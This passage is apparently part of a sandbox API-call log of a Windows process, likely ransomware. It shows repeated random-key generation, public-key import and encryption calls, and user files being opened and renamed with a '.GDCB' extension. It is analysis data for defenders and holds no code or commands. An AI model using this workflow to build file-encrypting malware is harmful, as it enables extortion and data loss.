pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0185.739] CryptEncrypt (in: hKey=0x4f813d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0185.740] GetLastError () returned 0x0 [0185.740] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0185.740] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0185.741] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f82858) returned 1 [0185.741] CryptGetKeyParam (in: hKey=0x4f82858, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0185.741] CryptEncrypt (in: hKey=0x4f82858, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0185.742] GetLastError () returned 0x0 [0185.742] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0185.742] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\1033\\StructuredQuerySchema.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\1033\\structuredqueryschema.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0185.744] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0185.745] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0185.746] ReadFile (in: hFile=0x514, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d3e8*=0x61068, lpOverlapped=0x0) returned 1 [0185.779] VirtualAlloc (lpAddress=0x0, dwSize=0x61070, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0185.792] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\1033\\StructuredQuerySchema.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\1033\\structuredqueryschema.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\1033\\StructuredQuerySchema.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\1033\\structuredqueryschema.bin.gdcb")) returned 1 [0185.809] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0185.810] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.811] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.811] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0185.811] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0185.811] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0185.812] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.813] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.813] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0185.813] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0185.813] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0185.815] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f82558) returned 1 [0185.815] CryptGetKeyParam (in: hKey=0x4f82558, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0185.815] CryptEncrypt (in: hKey=0x4f82558, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0185.815] GetLastError () returned 0x0 [0185.816] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0185.816] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0185.817] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f82898) returned 1 [0185.817] CryptGetKeyParam (in: hKey=0x4f82898, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0185.818] CryptEncrypt (in: hKey=0x4f82898, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0185.818] GetLastError () returned 0x0 [0185.818] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0185.818] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{219D4102-8477-4DA3-B68D-CBEB50436A31}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{219d4102-8477-4da3-b68d-cbeb50436a31}.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0185.818] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0185.820] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.820] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.820] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0185.820] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0185.820] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0185.822] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.822] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.822] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0185.822] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0185.823] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0185.825] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f82a18) returned 1 [0185.825] CryptGetKeyParam (in: hKey=0x4f82a18, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0185.825] CryptEncrypt (in: hKey=0x4f82a18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b60000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5b60000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0185.825] GetLastError () returned 0x0 [0185.825] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0185.825] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0185.827] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f828d8) returned 1 [0185.827] CryptGetKeyParam (in: hKey=0x4f828d8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0185.827] CryptEncrypt (in: hKey=0x4f828d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b70000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5b70000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0185.827] GetLastError () returned 0x0 [0185.827] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0185.827] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{3142F004-AD96-48E4-B756-4D6F73D1B9C8}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{3142f004-ad96-48e4-b756-4d6f73d1b9c8}.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0185.827] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0185.829] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.829] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.829] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0185.829] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0185.829] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0185.831] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.831] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.831] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0185.831] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0185.831] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0185.834] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f82b18) returned 1 [0185.834] CryptGetKeyParam (in: hKey=0x4f82b18, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0185.834] CryptEncrypt (in: hKey=0x4f82b18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b80000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5b80000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0185.834] GetLastError () returned 0x0 [0185.834] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0185.834] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0185.836] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f82918) returned 1 [0185.836] CryptGetKeyParam (in: hKey=0x4f82918, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0185.836] CryptEncrypt (in: hKey=0x4f82918, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b90000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5b90000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0185.836] GetLastError () returned 0x0 [0185.836] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0185.836] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{46F14CBA-A8C3-4AB0-8748-F3A8C35622B4}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{46f14cba-a8c3-4ab0-8748-f3a8c35622b4}.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0185.836] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0185.837] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.838] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.838] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0185.838] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0185.838] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0185.840] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.840] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.840] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0185.840] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0185.841] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0185.843] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f82598) returned 1 [0185.843] CryptGetKeyParam (in: hKey=0x4f82598, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0185.843] CryptEncrypt (in: hKey=0x4f82598, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5ba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5ba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0185.843] GetLastError () returned 0x0 [0185.843] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0185.843] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0185.845] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f82618) returned 1 [0185.845] CryptGetKeyParam (in: hKey=0x4f82618, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0185.845] CryptEncrypt (in: hKey=0x4f82618, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5bb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5bb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0185.845] GetLastError () returned 0x0 [0185.845] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0185.845] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{5C217167-4731-4AFD-B181-6274E3DFBF25}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{5c217167-4731-4afd-b181-6274e3dfbf25}.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0185.846] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0185.847] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.848] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.848] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0185.848] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0185.848] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0185.849] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.849] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.850] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0185.850] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0185.850] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0185.852] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f82a98) returned 1 [0185.852] CryptGetKeyParam (in: hKey=0x4f82a98, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0185.852] CryptEncrypt (in: hKey=0x4f82a98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5bc0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5bc0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0185.852] GetLastError () returned 0x0 [0185.852] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0185.852] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0185.854] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f82658) returned 1 [0185.854] CryptGetKeyParam (in: hKey=0x4f82658, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0185.854] CryptEncrypt (in: hKey=0x4f82658, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5bd0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5bd0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0185.854] GetLastError () returned 0x0 [0185.854] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0185.854] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{708686A3-2087-4B70-81FB-7F608AD7F5D4}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{708686a3-2087-4b70-81fb-7f608ad7f5d4}.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0185.854] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0185.856] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.857] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.857] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0185.857] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0185.857] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0185.859] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.859] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.859] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0185.859] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0185.860] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0185.862] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f82958) returned 1 [0185.862] CryptGetKeyParam (in: hKey=0x4f82958, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0185.862] CryptEncrypt (in: hKey=0x4f82958, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5be0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5be0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0185.862] GetLastError () returned 0x0 [0185.862] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0185.862] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0185.864] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f825d8) returned 1 [0185.864] CryptGetKeyParam (in: hKey=0x4f825d8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0185.864] CryptEncrypt (in: hKey=0x4f825d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5bf0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5bf0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0185.864] GetLastError () returned 0x0 [0185.864] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0185.864] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{A90EDA99-693C-4259-AF53-D06F3BBAEEAB}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{a90eda99-693c-4259-af53-d06f3bbaeeab}.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0185.865] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0185.866] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.867] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.867] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0185.867] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0185.867] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0185.868] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.868] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.869] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0185.869] 